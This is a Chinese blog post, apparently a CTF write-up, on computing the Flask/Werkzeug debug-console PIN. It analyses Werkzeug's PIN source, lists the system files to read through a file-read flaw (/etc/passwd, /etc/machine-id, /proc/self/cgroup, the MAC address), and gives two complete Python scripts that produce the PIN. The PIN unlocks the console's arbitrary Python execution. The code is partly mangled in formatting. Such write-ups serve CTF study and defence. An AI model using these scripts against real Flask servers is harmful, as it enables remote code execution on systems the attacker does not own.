Flask调试模式PIN值计算和利用

这是一段简单的Flask代码

代码语言:javascript
复制
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
    return "Hello World"
app.run(debug=True)

我们开启了调试模式,与此同时控制台输出

代码语言:javascript
复制
> python test.py
 * Serving Flask app 'test'
 * Debug mode: on
WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead.
 * Running on http://127.0.0.1:5000
Press CTRL+C to quit
 * Restarting with stat
 * Debugger is active!
 * Debugger PIN: XXX-XXX-XXX

访问”/”路由是正常的

但是我们还可以访问一个调试模式下的特殊路由,即使你没有设置过

填入上方控制台的PIN码即可执行Python命令

在计算PIN码之前,我们要知道,Flask的PIN码计算仅与werkzeug的debug模块有关。 与Python版本无关!!! werkzeug低版本使用MD5,高版本使用SHA1,现在绝大多数都是高版本的利用 werkzeug1.0.x低版本 werkzeug2.1.x高版本 这里直接借用Pysnow的源码分析

代码语言:javascript
复制
# 前面导入库部分省略

PIN有效时间,可以看到这里默认是一周时间

PIN_TIME = 60 * 60 * 24 * 7

def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

_machine_id: t.Optional[t.Union[str, bytes]] = None

获取机器id

def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# !!!!!!!!
# 获取machine-id或/proc/sys/kernel/random/boot_id
# machine-id其实是机器绑定的一种id
# boot-id是操作系统的引导id
# docker容器里面可能没有machine-id
# 获取到其中一个值之后就break了,所以machine-id的优先级要高一些
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
# 这里进行的是字符串拼接
linux += value
break

    try:
        with open("/proc/self/cgroup", "rb") as f:
            linux += f.readline().strip().rpartition(b"/")[2]
            # 获取docker的id
            # 例如:11:perf_event:/docker/2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8
            # 则只截取2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8拼接到后面
    except OSError:
        pass
    if linux:
        return linux

    # OS系统的
    {}

    # 下面是windows的获取方法,由于使用得不多,可以先不管
    if sys.platform == "win32":
        {}
# 最终获取machine-id
_machine_id = _generate()
return _machine_id

总结一下,这个machine_id靠三个文件里面的内容拼接而成

class _ConsoleFrame:
def init(self, namespace: t.Dict[str, t.Any]):
self.console = Console(namespace)
self.id = 0

def get_pin_and_cookie_name(
app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:

pin = os.environ.get("WERKZEUG_DEBUG_PIN")
# 获取环境变量WERKZEUG_DEBUG_PIN并赋值给pin
rv = None
num = None

# Pin was explicitly disabled
if pin == "off":
    return None, None

# Pin was provided explicitly
if pin is not None and pin.replace("-", "").isdigit():
    # If there are separators in the pin, return it directly
    if "-" in pin:
        rv = pin
    else:
        num = pin
# 使用getattr(app, "__module__", t.cast(object, app).__class__.__module__)获取modname,其默认值为flask.app
modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
username: t.Optional[str]

try:
    # 获取username的值通过getpass.getuser()
    username = getpass.getuser()
except (ImportError, KeyError):
    username = None

mod = sys.modules.get(modname)

# 此信息的存在只是为了使cookie在
# 计算机,而不是作为一个安全功能。
probably_public_bits = [
    username,
    modname,
    getattr(app, "__name__", type(app).__name__),
    getattr(mod, "__file__", None),
] # 这里又多获取了两个值,appname和moddir
# getattr(app, "__name__", type(app).__name__):appname,默认为Flask
# getattr(mod, "__file__", None):moddir,可以根据报错路劲获取,

# 这个信息是为了让攻击者更难
# 猜猜cookie的名字。它们不太可能被控制在任何地方
# 在未经身份验证的调试页面中。
private_bits = [str(uuid.getnode()), get_machine_id()]
# 获取uuid和machine-id,通过uuid.getnode()获得
h = hashlib.sha1()
# 使用sha1算法,这是python高版本和低版本算pin的主要区别
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")

cookie_name = f"__wzd{h.hexdigest()[:20]}"

# 如果我们需要做一个大头针,我们就多放点盐,这样就不会
# 以相同的值结束并生成9位数字
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]

# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x : x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
# 这就是主要的pin算法,脚本可以直接照抄这部分代码
return rv, cookie_name</code></pre></div></div><p>生成条件</p><h4 id="31iv" name="probably_public_bits">probably_public_bits</h4><p>有如下四个变量:</p><div class="rno-markdown-code"><div class="rno-markdown-code-toolbar"><div class="rno-markdown-code-toolbar-info"><div class="rno-markdown-code-toolbar-item is-type"><span class="is-m-hidden">代码语言:</span>javascript</div></div><div class="rno-markdown-code-toolbar-opt"><div class="rno-markdown-code-toolbar-copy"><i class="icon-copy"></i><span class="is-m-hidden">复制</span></div></div></div><div class="developer-code-block"><pre class="prism-token token line-numbers language-javascript"><code class="language-javascript" style="margin-left:0">username

modname
getattr(app, 'name', app.class.name)
getattr(mod, 'file', None)

username:通过/etc/passwd这个文件去猜
modname:getattr(app, "module", t.cast(object, app).class.module)获取,不同版本的获取方式不同,但默认值都是flask.app
appname:通过getattr(app, 'name', app.class.name)获取,默认值为Flask
moddir:flask所在的路径,通过getattr(mod, 'file', None)获得,题目中一般通过查看debug报错信息获得

private_bits

有如下三个变量:

代码语言:javascript
复制
uuid
machine-id


uuid:
网卡的mac地址的十进制,可以通过代码uuid.getnode()获得,也可以通过读取/sys/class/net/eth0/address获得,一般获取的是一串十六进制数,将其中的横杠去掉然后转十进制就行。
例:00:16:3e:03:8f:39 => 95529701177
也可以直接跑print(int("00:16:3e:03:8f:39".replace(":",""),16))
machine-id:
machine-id是通过三个文件里面的内容经过处理后拼接起来

  1. /etc/machine-id(一般仅非docker机有,截取全文)
  2. /proc/sys/kernel/random/boot_id(一般仅非docker机有,截取全文)
  3. /proc/self/cgroup(一般仅docker有,仅截取最后一个斜杠后面的内容

例如:11:perf_event:/docker/docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope

则只截取docker-2f27f61d1db036c6ac46a9c6a8f10348ad2c43abfa97ffd979fbb1629adfa4c8.scope拼接到后面

文件12按顺序读,12只要读到一个就可以了,1读到了,就不用读2了。
文件3如果存在的话就截取,不存在的话就不用管
最后machine-id=(文件1或文件2)+文件3(存在的话)

之前做题的时候被别人博客关于machine-id的部分误导了,重要的部分我在上面都打上了星号,有些docker机器是存在12这两个文件的,例如某些k8s的CTF靶场

最后把上面的信息结合下,用下面两个脚本可以算出PIN值

低版本(werkzeug1.0.x)
代码语言:javascript
复制
import hashlib
from itertools import chain

probably_public_bits = [
'root'#username,通过/etc/passwd
'flask.app',#modname,默认值
'Flask',# 默认值
'/usr/local/lib/python3.7/site-packages/flask/app.py'# moddir,通过报错获得
]

private_bits = [
'25214234362297', # mac十进制值 /sys/class/net/ens0/address
'0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa' # 低版本直接/etc/machine-id
]

下面为源码里面抄的,不需要修改

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

高版本(werkzeug>=2.0.x)
代码语言:javascript
复制
import hashlib
from itertools import chain

probably_public_bits = [
'root'#/etc/passwd
'flask.app',#默认值
'Flask',#默认值
'/usr/local/lib/python3.8/site-packages/flask/app.py'#moddir,报错得到
]

private_bits = [
'2485377568585',/sys/class/net/eth0/address 十进制
'653dc458-4634-42b1-9a7a-b22a082e1fce898ba65fb61b89725c91a48c418b81bf98bd269b6f97002c3d8f69da8594d2d2'
#看上面machine-id部分
]

下面为源码里面抄的,不需要修改

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num

print(rv)

题目就不复现了,2023/7月的DAS,es_flask就是简单的原型链污染,但是这个flask折磨了很久,没有吃透源码被博客坑惨了
只要有任意文件读+Flask的调试模式就可以做

参考资料

Pysnow-https://pysnow.cn/archives/170/